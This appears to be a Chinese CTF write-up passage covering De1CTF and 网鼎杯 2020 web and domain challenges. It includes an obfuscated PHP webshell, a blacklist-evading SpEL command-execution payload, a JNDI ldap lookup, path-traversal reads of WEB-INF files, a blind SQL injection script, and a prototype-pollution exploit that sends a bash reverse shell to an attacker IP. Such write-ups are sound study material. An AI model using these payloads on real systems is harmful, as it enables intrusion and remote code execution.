    <?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    <?=$___.=$__?>
    
    
    <?=$__=$_?>
    <?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    <?=$___.=$__?>
    
    <?=$__=$_?>
    <?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    <?=$___.=$__?>
    
    <?=$____='_'?>
    <?=$__=$_?>
    <?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    <?=$____.=$__?>
    
    <?=$__=$_?>
    <?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    <?=$____.=$__?>
    
    <?=$__=$_?>
    <?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    <?=$____.=$__?>
    
    
    <?=$_=$$____?>
    <?=$___($_['_'])?>
    

    后面正常操作,certutil下载beacon上线。

    dir \\dc.de1ctf2020.lab\Hint有一个压缩包,net user /domainHintZip_pass用户,通过GPP漏洞拿到该用户密码,解压即可

    第二关

    先通过kerberoast爆破De1ta用户密码,setspn新增一个SPN,服务账户设定为De1ta:setspn -S http/web.de1ctf2020.lab De1ta,接着请求该服务的ST,即可离线爆破

    之后大感觉是资源委派(因为看到出题人在先知上发过文章),我本地实验环境DC还是winserver2008,算了放弃了

    calc

    这出题人有点搞笑

    前台黑名单,过滤了T\s*(, String, new, java.lang, Runtime等等,没有new意味着只有静态方法(new/newInstance

    看了SPEL的词法解析源码后发现\u0000也被识别为空字符,直接pos++;而java.lang可以java . lang绕过 ,对词法解析是没区别的。(赛后看了出题人的payload他好像以为这样真的能限制,你仿佛在故意逗我笑)

    命令执行的payload

    T\u0000(java . lang . Object).class.forName('jav'+'a.lan'+'g.Run'+'time').getMethod('ex'+'ec',T\u0000(java . lang . Object).class.forName('jav'+'a.lan'+'g.Run'+'time').getName().class).invoke(T\u0000(java . lang . Object).class.forName('jav'+'a.lan'+'g.Run'+'time').getMethod('getR'+'untime').invoke(T\u0000(java . lang . Object).class.forName('jav'+'a.lan'+'g.Run'+'time')), "sleep 5").waitFor()
    

    这个payload最初测试时已经成功RCE,正在想办法外带。突然题目下线又上线就被blocked by openrasp,感觉是出题人改题了

    之后又尝试了JNDI,initialContext有一个静态方法doLookup,可以发出请求但高版本不能加载远程codebase,测了几个本地gadget也没成功

    T\u0000(java . lang . Object).class.forName("javax.naming.InitialContext").getMethod('doLookup', T\u0000(java . lang .Object).class.forName('jav'+'a.lan'+'g.Run'+'time').getName().class).invoke(null, 'ldap://IP:6666/TTT')"""
    

    这道题RASP没有限制读文件,所以通过nio的几个静态方法就可以了

    而且SPEL的关键字不区分大小写…意味着可以随便实例化(出题人不知道SPEL这个特性也就算了,黑名单难道不知道大小写匹配?)

    mc_joinin

    完全摸不着头脑,nmap识别出来80端口是go-ipfs json-rpc or influxdb api(nmap,真有你的,成功带偏)

    MC服务器默认端口25565,nmap默认是不扫的,最后还是从shodan得知。protocol version是997,自己改客户端

    第二关是个Go slice override,赛中好像没给源码,有点牵强

    网鼎杯2020

    AreUSerialz

    这题看起来有三道check:

    • is_valid校验%00

    • if($this->op === "2") this->op = "1";
      if($this->op == "2") read();
      
    • 知道创宇WAF

    第二个check用弱类型过,第三个实际payload没有拦(?)

    第一个卡了我半天:因为类成员都是protected,但is_valid只允许32 <= ascii <= 125,也就是说反序列化出来的*\0*过不了

    赛后又研究了一下,发现新tip

    我们知道反序列化过程其实是个build and assign的过程,即先实例化对象,然后依次解析序列化数据中的类成员再赋值(PHP是动态语言,runtime的实例属性是存储在哈希表中的,所以可以随意新增实例属性)。于是也就有了CVE-2016-7134这种其实是正常feature的漏洞。那么当类的某个成员是protected成员,而我序列化数据中是public成员会出现什么情况?

    class FileHandler {
        protected $content;
        protected $op;
        protected $filename;
    }
    
    class FileHandler {
        public $content;
        public $op;
        public $filename;
    }
    

    当我用下面的序列化数据去反序列化上面的类时,在我测试PHP5.4以及php7.0中,PHP区分了不同成员的访问属性,出现这样的情况:

    object(FileHandler)#1 (6) {
      ["op":protected]=>
      NULL
      ["filename":protected]=>
      NULL
      ["content":protected]=>
      NULL
      ["content"]=>
      NULL
      ["op"]=>
      int(2)
      ["filename"]=>
      string(18) "C:/windows/win.ini"
    }
    

    在这种情况下在成员函数中通过$this->op拿到的是NULL,因为它会根据类签名寻找protected的属性,所以如果题目环境是5.4 or 7.0,这题就不能这样绕了(见后文)

    而我测试PHP7.3中序列化数据里的public成员能直接被赋值到protected成员中(private成员也可以),也就是说7.3直接忽略了访问属性去给实例赋值

    object(FileHandler)#1 (3) {
      ["op":protected]=>
      int(2)
      ["filename":protected]=>
      string(18) "C:/windows/win.ini"
      ["content":protected]=>
      NULL
    }
    

    高版本的PHP校验反而变得不严格了,看不懂。所以大概在PHP7.1~7.3的某个版本开始(我懒,不想搭环境挨个试),反序列化时会忽略成员的访问属性


    这题的预期解应该是用S来写转义后的数据,记得原来在某篇博客看到过这个trick,不过赛中没想到

    var_dump(unserialize('s:1:"e"'));
    var_dump(unserialize('S:1:"\65"'));
    

    这题最后反序列化读取

    /proc/self/cmdline
    /web/config/httpd.conf
    /web/html/flag.php
    

    filejava

    上传文件后可下载,存在任意文件读取,跳到根目录但读不了flag,因为做了限制

    jsp服务先读web.xml

    /file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml
    

    看到3个核心类,再去读字节码文件

    ../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
                                               UploadServlet.class
                                               DownloadServlet.class
    

    还原后审计,upload中引入了poi解析xlsx,存在XXE

    修改xlsx中的[Content_Types].xml,然后常规FTP OOB外带即可

    trace

    注入,两个限制点:

    • MySQL 5.5.62(无sys表),过滤了information_schema
    • SQL语句执行成功20次整个容器作废

    针对第一点,测出存在flag表,常规无列名注入(不知道有没有低版本MySQL绕过information_schema的新姿势)

    第二点只需要保证SQL语句永远执行不成功即可:

    if((), sleep(3) - exp(~1), exp(~1))
    
    # -*- coding:utf8 -*-
    
    import requests as r
    
    url = 'http://b7c07b80ccfc48fa8020a34f32d47a4e178852b8d86f47f2.changame.ichunqiu.com/register_do.php'
    
    payload = "select database()" #ctf  # 5.5.62-
    payload = '(select `2` from (select 1,2 union select * from flag)a limit 1,1)'
    param = "a'|if(ascii(mid((%s),%d,1))%c%d,sleep(3) - exp(~1),exp(~1)),'admin123')#"
    
    def check(data):
        try:
            res = r.post(url, data=data, timeout=3)
            print(res.text)
        except:
            return True
        return False
    
    def binSearch(payload):
        print('[*]' + payload)
        result = 'flag{'
        for i in range(6, 100):
            left = 33
            right = 127
            #binary search
            while left <= right:
                mid = (left + right) // 2
                #s = payload % (i, '=', mid)
                data = {
                    "username": param % (payload, i, '=', mid),
                    'password': '123',
                }
                print(mid)
                if check(data) == True:
                    result += chr(mid)
                    print(result)
                    break
                else:
                    # s = payload % (i, '>', mid)
                    data = {
                        "username": param % (payload, i, '>', mid),
                        'password': '123',
                    }
                    if check(data):
                        left = mid + 1
                    else:
                        right = mid - 1
            if left > right:
                break
        return result
    
    if __name__ == "__main__":
        res = binSearch(payload)
        print(res)
    

    notes

    莫名其妙引入undefsafe库看起来就不对劲,该库最新版本是2.0.3,2.0.2存在原型链污染。POC:undefsafe({}, '__proto__.XX', 'XXX')

    /status路由中会遍历commands对象的所有属性并交给bash执行,所以只需原型链污染新增属性,再访问/status即可RCE

    定位到Notes.edit_note

    this.note_list = {};
    undefsafe(this.note_list, id + '.author', author);
    

    控制id=__proto__author=cmd即可

    import requests
    
    url = 'http://9711c6c8714c462895e6353c89625c599089f9ae09ec4d6e.cloudgame2.ichunqiu.com:8080'
    
    requests.post(url + '/edit_note', data={
            'id': '__proto__',
            'author': '/bin/bash -i >&/dev/tcp/IP/7777 0>&1',
            'raw': '123',
        })
    requests.get(url + '/status')